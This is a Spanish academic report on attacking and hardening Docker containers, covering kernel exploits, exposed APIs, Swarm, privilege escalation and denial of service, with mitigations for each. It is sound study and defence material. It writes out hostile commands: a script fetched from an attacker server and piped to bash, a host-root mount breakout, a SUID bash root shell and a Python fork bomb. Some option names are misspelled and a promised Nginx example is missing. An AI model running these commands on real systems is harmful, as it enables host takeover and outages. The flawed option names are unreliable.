Cátedra de Ciberseguridad
Ada Byron
(UAH-INCIBE)

Seguridad ofensiva y defensiva de contenedores Docker en entornos Linux

Por:

Alejandro Ruiz Zambrano

Financiado por la Unión Europea NextGenerationEU

Gobierno de España · Ministerio para la Transformación Digital y de la Función Pública · Secretaría de Estado de Telecomunicaciones e Infraestructuras Digitales

Plan de Recuperación, Transformación y Resiliencia

incibe_ Instituto Nacional de Ciberseguridad

Entidad colaboradora: Universidad de Alcalá

Dada la creciente popularidad de entornos dockerizados para manejar flujos de trabajo, surge el planteamiento de cómo defender adecuadamente estos contenedores al tratarse de nuevos objetivos para ciberatacantes.

En el siguiente escrito estudiaremos la superficie de ataque de contenedores Docker, en entornos locales preparados para crearse cuando un usuario va a trabajar y destruidos cuando este termina su sesión.

Para la mayoría de las pruebas usaremos VirtualBox como herramienta de virtualización, con una subred formada por dos máquinas Kali Linux, sistema operativo adecuado a la hora de hacer pruebas de ciberseguridad.

A continuación, se presentan los principales vectores de ataque encontrados, en qué consisten/cómo llevarlos a cabo y principales métodos de mitigación [1].

EXPLOTACIÓN DE COMPONENTES DEL CONTENEDOR Y SOFTWARE

IMÁGENES DE CONTENEDOR VULNERABLES

DESCRIPCIÓN

Una imagen, como ya sabemos, es la plantilla con todo lo necesario para lanzar un software. Una imagen se vuelve vulnerable cuando acumulan fallos de seguridad, configuraciones inseguras, o tienen información secreta incrustada. Debemos ser capaces de reconocer a través de las diversas capas de una imagen, pues en cada capa podemos introducir distintas vulnerabilidades. Desde vulnerabilidades sin parchear en la imagen base, bibliotecas instaladas mediante gestores de paquetes, a vulnerabilidades en el propio código de la aplicación. Por suerte, la mayoría de estos problemas tienen una solución sencilla.

PASOS QUE SEGUIR

1. **Análisis de la imagen base**. Una imagen base actualizada a su última versión mediante la etiqueta ‘:latest’ o por defecto no usar las versiones más recientes puede conllevar que algún paquete del sistema operativo esté comprometido sin nuestro conocimiento. La obsolescencia de un paquete puede provocar que existan CVEs conocidas que pongan la imagen en riesgo, mientras que tener siempre su última versión puede arrastrarnos a una vulnerabilidad que aún no sea conocida

2. **Librerías y dependencias**. Muchas dependencias instaladas mediante gestores de paquetes de lenguajes contienen vulnerabilidades, ya que, en su instalación, no se especifica bien la versión de este que se quiere instalar.

3. **Código de la aplicación**. Se trata de aplicaciones cuyo código contiene errores o vulnerabilidades como inyección de código, como, por ejemplo, concatenar la entrada de nombre de usuario en una consulta. Como consecuencia, aunque

imagen base y dependencias sean seguros, el código empaquetado en la imagen contiene vulnerabilidades.

4. **Archivos de configuración**. Una configuración incluida en la imagen que deja habilitadas funcionalidades por error.

5. **Secretos incrustados**. En diversidad de ocasiones, se usan claves API para manejar de forma segura comunicaciones entre procesos, programas, equipos. Un atacante podría aprovechar una clave API en un Dockerfile (incluída por comodidad) para escanear variables de entorno o las distintas capas de la imagen, consiguiendo potencialmente acceso a una clave API, lo que puede suponer un serio riesgo para el entorno.

Mitigación

En primer lugar, existen imágenes base verificadas por Docker Hub, lo que reduce en gran medida el número de vulnerabilidades al que nos enfrentamos. Volver a construir nuestras imágenes frecuentemente nos permite mantenerlas actualizadas con los últimos parches de seguridad. Es altamente recomendable no incluir datos secretos en el Dockerfile, teniendo alternativas como Docker Secrets para almacenar secretos de forma segura. Otros métodos para mantener la seguridad de la imagen incluyen evitar el uso de la etiqueta ':latest', lo que nos puede ahorrar actualizaciones inesperadas que todavía no se tenga claro que son seguras [2]. Trivy es una herramienta de código abierto que sirve para escanear vulnerabilidades en las distintas capas que conforman una imagen, comparando paquete a paquete con su base de datos en busca de vulnerabilidades que clasifica en función de su gravedad.

Explotación del kernel

Descripción

Los contenedores usan cada uno sus propios espacios de trabajo, llamados namespaces. A pesar de este nivel de aislamiento, los contenedores comparten todos kernel con el host. Los ciber atacantes tratarán de aprovechar vulnerabilidades en el kernel para ejecutar código malicioso y obtener así control del sistema de host, lo que también se conoce como escape al host. Suelen necesitar previamente obtener permisos privilegiados dentro del contenedor. A continuación, vamos a estudiar algunos de los exploits que han permitido tener control sobre el kernel del host.

Pasos que seguir

1. **Identifica la versión del kernel**. Dentro de un contenedor habitualmente se comienza por averiguar la versión del kernel, lo que nos abre a investigar en sus vulnerabilidades conocidas.

```
Uname -r

Cat /proc/versión
```

2. **Obtener y preparar el exploit**. En caso de que el contenedor no cuente con un compilador (buena práctica), el atacante deberá compilar el exploit en su máquina y transferir el código binario al contenedor con herramientas como wget o curl (en caso de haber conexión a Internet) o pegando el código en scripts…
3. **Ejecución del exploit**. Este paso depende del exploit específico que se esté usando. Por ejemplo, Dirty Pipe permite modificar ficheros con permiso de solo lectura para obtener privilegios en el contenedor.

   Ejemplo basado en CVE-2022-0847. Los atacantes crean una tubería y la llenan para después vaciarla, lo que activa el flag PIPE_BUG_FLAG_CAN_MERGE. A partir de aquí, cada vez que el kernel reserve páginas de memoria, se podrán sobrescribir datos en la tubería, lo que permite ejecutar el payload de un atacante o editar una configuración sensible [3].

MITIGACIÓN

Entre las formas de mitigación de la explotación del kernel encontramos:

- **Mantenimiento del kernel**. Ni utilizar la última actualización, ni la primera. Mantenerse informado sobre posibles fallos en las nuevas actualizaciones añade una capa de mitigación extra.
- **Minimizar la superficie de ataque**. Usar perfiles seguros como `seccomp`, `AppArmor/SELinux`, que limiten las capacidades dentro del contenedor y lo protejan [4].
- **Limitar el modo privilegiado/capacidades de Linux**. No usar la opción `–privileged` al arrancar el contenedor. Es altamente recomendable limitar todas las capacidades de Linux con `–cap-drop=ALL`, habilitando las capacidades necesarias con `–cap-add=<capacidades necesarias>` [5].
- **Establecer sistemas de detección de intrusiones**. Falco, Sysdig Inspect, OSSEC… son herramientas que monitorizar comportamientos sospechosos y que nos pueden ayudar a garantizar la seguridad del kernel [6].

ATAQUES A LA CONFIGURACIÓN Y GESTIÓN DE LA INFRAESTRUCTURA

APIs INSEGURAS

DESCRIPCIÓN

El demonio Docker tiene una API que permite gestionar las funcionalidades de Docker. Si esta API llega a ser expuesta un atacante puede obtener un control total sobre el host y todos los contenedores que este tiene en ejecución.

Pasos que seguir

1. **Descubrir una API expuesta**. Un atacante busca actividad en los puertos 2375 (HTTP) y 2376 (HTTPS), correspondientes a los puertos TCP de la API Docker. Puede usar herramientas como nmap:

```
sudo nmap -p 2375,2376 --open <rango_IP_o_host>
```

   O motores de búsqueda como Shodan, que permite buscar instancias expuestas en dispositivos conectados a la red [7].

2. **Accede a una API sin autenticación**. Sin autenticación configurada y con el puerto 2375 abierto, se puede interactuar directamente con Docker a través de su API para listar contenedores, imágenes, redes…

3. **TLS mal configurado**. Aunque el puerto 2376 es más seguro que el 2375, aún puede ser objetivo de determinados ataques. Un cliente Docker no configurado para verificar el certificado TLS del servidor es vulnerable a un ataque MiTM. Si un atacante se hace con los certificados del cliente podría incluso autenticarse en la API.

Mitigación

Entre las medidas de mitigación, recomendamos usar TLS de forma obligatoria, habilitando la verificación de certificados con `-tlsverify`. Otra buena práctica consiste en habilitar únicamente IPs conocidas a los puertos 2375 y 2376. Habilitar VPNs, conexiones cifradas por SSH o bastiones en caso de requerir acceso desde Internet. Por último, no exponer el socket del Docker a la red [8]

Explotando herramientas de orquestación

Descripción

Estas herramientas sirven para manejar grandes cantidades de clústeres de contenedores. Son herramientas muy potentes, pero también exponen nuevas superficies de ataque. Para Docker, existe un orquestador nativo llamado Docker Swarm.

Pasos que seguir

1. **Descubrir la API del servidor que orquesta**. Tiene su API en los puertos 2375 (HTTP), 2376 (HTTPS), 2377 (comunicación entre nodos del clúster) [9].

2. **Explotar el acceso a la API del servidor**. Determinadas configuraciones en la API del servidor permiten el control de toda la herramienta orquestadora, lo que le permite listar nodos, servicios…

3. **Interceptar "Join Tokens"**. Docker Swarm usa estos tokens para agregar nuevos nodos al clúster. Existen dos tipos de token: para managers y para workers. En caso de contar con un token manager, un atacante podría añadir otros nodos manager maliciosos lo que le puede dar acceso a los secretos del clúster y a la

emisión de comandos. Si el atacante cuenta con un token worker, podría añadir nodos worker maliciosos que afecten a los servicios a los que hayan sido asignados [10].

4. **Ataques a la red overlay de Docker Swarm**. Los servicios de Swarm usan las conocidas redes de overlay para comunicarse. En caso de que estas redes no se creen cifradas, todo el tráfico de red puede ser interceptado por un atacante que haya comprometido algún nodo de la red overlay [11].
5. **DoS a Swarm**. Inundar los nodos manager mediante API con inundación de solicitudes, agotar los recursos de los nodos del clúster con técnicas como las que se verán posteriormente.
6. **Secretos de Docker Swarm**. Sistema de gestión de secretos a los que solo unos cuantos contenedores pueden acceder. Con la API de un nodo manager, un atacante tendría acceso a este sistema de secretos, poniendo en riesgo la información y el propio contenedor [12].

MITIGACIÓN

- **Asegurar los nodos manager**. Usar el mínimo número de nodos manager posible y en general seguir las mismas indicaciones de mitigación que para la API Docker: usar TLS, no exponer puertos a IPs no conocidas…
- **Rotar los Join Tokens**. De forma regular:

```
docker swarm join-token --rotate manager docker swarm join-token --rotate worker
```

Además, es recomendable tartar estos tokens como trataríamos información altamente sensible: evitar almacenarlo en texto plano y guardarlo en un sitio seguro.

- **Cifrar las redes Overlay**. Al crear la red Overlay, activar la opción de encriptación de datos, especialmente útil cuando se van a transmitir datos sensibles a través de la red.

```
docker network create --opt encrypted --driver overlay mi_red_segura
```

- **Copias de seguridad del estado de Swarm**. Se recomienda usar un nodo manager para la gestión de copias de seguridad periódicas del estado de Swarm, vitales en caso de fallo y necesidad de recuperación o un incidente de seguridad [13].

TÉCNICAS POSTERIORES A LA EXPLOTACIÓN Y OBJETIVOS

ESCALADA DE PRIVILEGIOS (HORIZONTAL Y VERTICAL)

DESCRIPCIÓN

En Docker, los contenedores se suelen ejecutar como root, lo que otorga privilegios innecesarios. El demonio Docker también se ejecuta como root por defecto [14]. Al tratar de escalar privilegios, un atacante tratará de explotar una configuración o proceso para obtener control sobre el sistema una vez conseguido el acceso al entorno [15].

RELACIÓN

PASOS QUE SEGUIR

Existen distintos métodos típicos de escala de privilegios, que normalmente son precedidos por escaneos de vulnerabilidades del entorno:

1. **LinPEAS**. Se trata de la herramienta de numeración más completa, pues proporciona información muy relevante para el perfil del atacante. Levantando un servidor http en la máquina atacante podemos transferir el script a la víctima, pudiendo incluso lanzar directamente el script en memoria sin necesidad de almacenarlo en disco.

```
python3 -m http.server 80

curl 172.16.1.30/linpeas.sh | bash
```

   Gracias a scripts de numeración como LinPEAS, los atacantes obtienen una lista de configuraciones y usuarios (entre otros) que pueden ser explotables, lo que permite dirigir el ataque a un usuario inicial (idealmente ya perteneciente al grupo Docker) y que habilita los siguientes vectores:

   ⇒ **Montaje del sistema de archivos del host**. Usando el socket Docker o con comandos como Docker run, si el atacante tiene acceso a un usuario del grupo Docker, se puede aprovechar para conseguir acceso al sistema de archivos del host.

```
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

   ⇒ **Binarios SUID**. Una vez el sistema de archivos del host es accesible, podemos copiar el directorio `/bin/bash` en `tmp` y darle permisos SUID, pudiendo así ejecutar una Shell como root al salir del contenedor.

```
cp /bin/bash /tmp/bash

chmod +s /tmp/bash

/tmp/bash -p
```

2. **Capacidades privilegiadas en Linux**. Con una configuración por defecto en modo no privilegiado, el contenedor queda seriamente limitado a escalada de privilegios, que en dicho caso forzaría al atacante a buscar capacidades de instrucciones privilegiadas como CAP_SYS_ADMIN. En Linux, cuando un proceso necesita privilegios, no se le concede toda la capacidad de root, sino que solo tiene acceso a aquellas capacidades necesarias para ejecutar dicho proceso. CAP_SYS_ADMIN es una de esas capacidades que puede aprovechar

más instrucciones privilegiadas y a pesar de que hay más capacidades explotables, es una de las mejores. Felix Wilhem descubrió un exploit en el que únicamente se necesitan 2 condiciones para romper un contenedor: CAP_SYS_ADMIN habilitado y AppArmor pausado o deshabilitado. `Capsh -print` es un comando que lista las capacidades habilitadas en el sistema y nos permite ver la lista de las capacidades del sistema, mientras que para comprobar la disponibilidad de AppArmor simplemente podemos tratar de listar su archivo `cat /sys/kernel/security/apparmor/profiles` [16].

MITIGACIÓN

Las formas de mitigar un ataque de este tipo de forma típica incluyen lanzar los contenedores sin modo privilegiado, combinado a no haber dado permisos en el contenedor. El exploit de Felix Wilhem clarifica como no habilitando las capacidades CAP_SYS_ADMIN y habilitando AppArmor, obtener privilegios en un contenedor se vuelve prácticamente imposible. Otra opción muy útil para evitar escalada de privilegios en el contener es activar la opción –security-opt=no-new-previleges, que impide al contenedor conseguir privilegios adicionales tras ser arrancado.

DENEGACIÓN DE SERVICIOS

DESCRIPCIÓN

La denegación de servicios (DoS) busca que los recursos ofrecidos por el entorno de Docker se vuelvan inutilizables.

RELACIÓN

PASOS QUE SEGUIR

1. **Agotamiento de recursos**.

   ⇒ **Agotamiento de memoria**. Un atacante con acceso al contenedor podría diseñar un código que consuma toda la memoria disponible en el sistema, por ejemplo, con un bucle infinito escrito en C++.

   ⇒ **Agotamiento de CPU**. Un atacante podría arrancar procesos que consuman tiempos de CPU excesivos, privando a otros procesos de entrar en sección crítica.

   ⇒ **Agotamiento de disco**. Un script con comandos simples en un bucle podría llenar el sistema de archivos montado escribiendo grandes cantidades de datos de forma continua.

2. **Ataques a la red**.

   ⇒ **Inundación de SYN**. No se trata de un ataque específico a contenedores, pero puede poner en riesgo sus servicios de red expuestos gracias a herramientas como hping3 o nmap [17]. Estos comandos permiten

opciones para elegir puerto, tipo de paquete que será enviado de forma masiva y IP spoofing, lo que permite consumir los recursos del sistema mediante paquetes SYN que nunca terminan de completar la comunicación [18].

⇒ **Inundación UDP**. Un ataque similar a la inundación de paquetes SYN, pero con paquetes UDP. La característica de este protocolo es que no es orientado a la conexión, si no a la transmisión, lo que facilita su ejecución. Gracias a herramientas como Scapy, podemos crear paquetes de datos muy personalizados mediante clases de Python, ideal para llevar a cabo una inundación de paquetes UDP [19].

⇒ **Capa de aplicación**. La vulnerabilidad ocurre a nivel de aplicación, donde podríamos:

- **Inundación HTTP**. Mandamos un gran número de peticiones HTTP, lo que dificulta el procesamiento o incluso aceptar nuevas conexiones. BoNeSi es una herramienta que genera este tipo de inundaciones, escondiendo patrones identificables en sus paquetes y proporcionando TCP spoof, simulando inundaciones HTTP usando redes de bots [20].
- **Slowloris**. Se trata de un ataque que aprovecha solicitudes HTTP lentas, incompletas y a bajas latencias, que aprovechando largos intervalos son capaces de comprometer la disponibilidad de servidores web. Mientras una solicitud HTTP no se complete, el archivo de registro no alertará de forma adecuada. Esto se consigue gracias a la capacidad de HTTP de dividir sus peticiones GET o POST en varios paquetes, llega un punto en el que el servidor ya no puede aceptar más conexiones, resultando así en una denegación de servicio [21].
- XML DoS. Usando un archivo XML, un atacante podría usar anidación múltiple, que a partir de referencias a entidades que referencian a otro número x de entidades conseguiría un crecimiento exponencial que puede resultar en varios GB de archivo, consumiendo importantes recursos del sistema. Sin embargo, mitigar este tipo de ataques no es difícil, ya que habitualmente se escriben reglas sobre el número de anidaciones permitidas en un archivo XML. Es por ello que la variante de este ataque preferido consiste en definir una entidad muy grande y referenciarla múltiples veces, lo que traduce que una simple carga de no muchos KB en el atacante se convierta en varios GB del lado de la víctima [22].

3. **Abuso de Docker.**

⇒ **Fork bombs**. Aunque se trata de un tipo de denegación de servicio, su superficie de ataque implica acceso al contenedor, que mediante un script que crea procesos en masa termina por dejar al sistema sin recursos [23]. Un script de Python que nos permitiría replicar de forma simple un fork bomb podría ser el siguiente:

```
#!/usr/bin/env python

import os

while True: os.fork()
```

⇒ **Volúmenes de Docker**. Cuando montamos un volumen desde el host, los permisos de dicho directorio son los que se asignan en la carpeta montada dentro del contenedor, lo que supone serios riesgos de seguridad. Típicamente, un atacante debe conseguir primero acceso al contenedor (y conseguir privilegios) antes de poder aprovecharse de las vulnerabilidades de un volumen mal montado, por ejemplo, mediante el socket de Docker o alguno de los otros métodos mencionados previamente. Teniendo acceso al socket Docker, por ejemplo, podemos lanzar comandos desde el contenedor que usen funcionalidades del host para observar contenedores en ejecución o las imágenes disponibles, entre otras:

```
./docker -H unix:///var/run/docker.sock ps

./docker -H unix:///var/run/docker.sock images
```

MITIGACIÓN

Existen diversas prácticas que ayudan a mitigar los ataques previamente relatados.

- **Memoria**. Restringir la cantidad de memoria que un contenedor puede usar, por ejemplo, con la opción `-memory`, que nos permitirá establecer un límite máximo de memoria física a la que el contenedor tiene acceso. De igual forma, podemos limitar también el uso de memoria SWAP, con la opción `-memory-swap`.
- **CPU**. Al igual que para limitar memoria, existen opciones de Docker que permiten limitar el uso de la CPU. Desde número de CPUs que puede usar un contenedor, duración de períodos de CPU, porcentaje de uso de una CPU o asignación de CPUs específicas a contenedores [24].
- **Disco**. Entre las buenas prácticas para evitar agotamiento de disco encontramos establecer cuotas en sistemas de archivos y limitar I/O de bloques. Usar drivers de almacenamiento como overlay2 nos permiten configurar estas cuotas en el sistema de archivos del host, lo que limita la cantidad de disco disponible para los contenedores. Para limitar el I/O de bloques, podemos limitar la velocidad de lectura/escritura en bps gracias a opciones como `-devide-read-bps` o `-devide-write-bps` [25].

- **Ataques a la red**. Para evitar esta clase de ataques, debemos centrarnos en el host de nuestro servicio. Para evitar inundaciones de paquetes SYN, podríamos simplemente habilitar cookies SYN (`sudo sysctl -w net.ipv4.tcp_syncookies=1`) o reducir el tiempo de espera para completar la conexión (`sudo sysctl -w net.ipv4.tcp_synack_retries=2`).

  Para mitigar inundaciones de UDP podemos limitar sus servicios, por ejemplo, limitando la cantidad de paquetes UDP que pueden llegar de una IP cualquiera con el comando iptables:

```
sudo iptables -A INPUT -p udp -m limit --limit 10/s --limit-burst 20 -j
                                ACCEPT

        sudo iptables -A INPUT -p udp -j DROP # (con cuidado)
```

- **Ataques a la capa de aplicación**. A fin de mitigar inundaciones HTTP, es interesante implementar una Web Application Firewall (WAF). Se trata de una herramienta que identifica y bloquea tráfico mediante patrones, reputación de IP. Otra opción interesante implica configurar un proxy inverso que limite la cantidad de peticiones IP en un determinado período de tiempo [26]. En Nginx, la implementación de este proxy inverso se realiza de la siguiente manera:

- **Abuso de Docker**. Para evitar el agotamiendo de process IDs, debemos habilitar el susbsistema pids perteneciente a cgroups. Gracias a esta capacidad, podemos restringir el número de procesos que se pueden crear en un contenedor.

```
docker run -it --pids-limit 200 ubuntu /bin/bash
```

  También se pueden limitar el número de procesos por usuario, usando la opción ulimit [27].

```
docker run --ulimit nproc=100:200
```

  Para mitigar por su parte los problemas provenientes del abuso de los volúmenes en Docker, es interesante tratar de evitar mapear directorios sensibles del host. Otra práctica muy útil implica usar volúmenes nombrados o anónimos en lugar de usar bind mount, activar únicamente permisos de solo lectura sobre dichos volúmenes [28].

Referencias

[1] «OWASP Docker», [En línea]. Disponible en: https://github.com/OWASP/Docker-Security/blob/main/dist/owasp-docker-security.pdf

[2] «Docker Security in 2025: Best Practices to Protect Your Containers From Cyberthreats», [En línea]. Disponible en: https://cloudnativenow.com/topics/cloudnativedevelopment/docker/docker-security-in-2025-best-practices-to-protect-your-containers-from-cyberthreats/

[3] «Vulnerabilidad Dirty Pipe CVE-2022-0847», [En línea]. Disponible en: https://www.tarlogic.com/es/blog/vulnerabilidad-dirty-pipe-cve-2022-0847/

[4] «Seccomp security profiles for Docker». [En línea]. Disponible en: https://docs.docker.com/engine/security/seccomp/

[5] «Running containers». [En línea]. Disponible en: https://docs.docker.com/engine/containers/run/

[6] Falco. [En línea]. Disponible en: https://falco.org/

[7] Shodan. [En línea]. Disponible en: https://www.shodan.io/

[8] «Docker Engine security». [En línea]. Disponible en: https://docs.docker.com/engine/security/

[9] Swarm mode key concepts. [En línea]. Disponible en: https://docs.docker.com/engine/swarm/key-concepts/

[10] docker swarm join-token. [En línea]. Disponible en: https://docs.docker.com/reference/cli/docker/swarm/join-token/#:~:text=Join%20tokens%20are%20secrets%20that,when%20they%20join%20the%20swarm.

[11] «Manage swarm service networks». [En línea]. Disponible en: https://docs.docker.com/engine/swarm/networking/

[12] Manage sensitive data with Docker secrets. [En línea]. Disponible en: https://docs.docker.com/engine/swarm/secrets/

[13] «Administer and maintain a swarm of Docker Engines». [En línea]. Disponible en: https://docs.docker.com/engine/swarm/admin_guide/

[14] «Docker Breakout – Linux Privilege Escalation». [En línea]. Disponible en: https://juggernaut-sec.com/docker-breakout-lpe/#:~:text=After%20confirming%20that%20the%20file,drop%20into%20a%20root%20shell

[15] «What Is Privilege Escalation?» [En línea]. Disponible en: https://www.proofpoint.com/us/threat-reference/privilege-escalation

[16] «Understanding Docker container escapes». [En línea]. Disponible en: https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/

[17] TCP SYN (Stealth) Scan (-sS). [En línea]. Disponible en: https://nmap.org/book/synscan.html

[18] «Analysis of the SYN Flood DoS Attack», [En línea]. Disponible en: https://citeseerx.ist.psu.edu/document?repid=rep1&type=pdf&doi=cdaed62918293b9147e287f3a733a0b8a6b64488

[19] Welcome to Scapy's documentation! [En línea]. Disponible en: https://scapy.readthedocs.io/en/latest/

[20] BoNeSi - DDoS. [En línea]. Disponible en: https://github.com/Markus-Go/bonesi

[21] «Ataque DDoS con Slowloris». [En línea]. Disponible en: https://www.cloudflare.com/es-es/learning/ddos/ddos-attack-tools/slowloris/

[22] «XML Vulnerabilities», [En línea]. Disponible en: https://gist.github.com/JordanPotti/04c54f7de46f2f0f0b4e6b8e5f5b01b0

[23] «What is a Docker fork bomb?» [En línea]. Disponible en: https://ion-utale.medium.com/what-is-a-docker-fork-bomb-ef081b829118

[24] «Resource constraints». [En línea]. Disponible en: https://docs.docker.com/engine/containers/resource_constraints/

[25] «Storage drivers». [En línea]. Disponible en: https://docs.docker.com/engine/storage/drivers/

[26] «Efficient defense: analysis of site anti-crawling and anti-crawling strategies». [En línea]. Disponible en: https://www.857678.cn/2023/08/anti-auto-spider/

[27] «Chapter 23. Setting system resource limits for applications by using control groups». [En línea]. Disponible en: https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/8/html/managing_monitoring_and_updating_the_kernel/setting-limits-for-applications_managing-monitoring-and-updating-the-kernel#understanding-control-groups_setting-limits-for-applications

[28] «Volúmenes en Docker». [En línea]. Disponible en: https://docs.docker.com/engine/storage/volumes/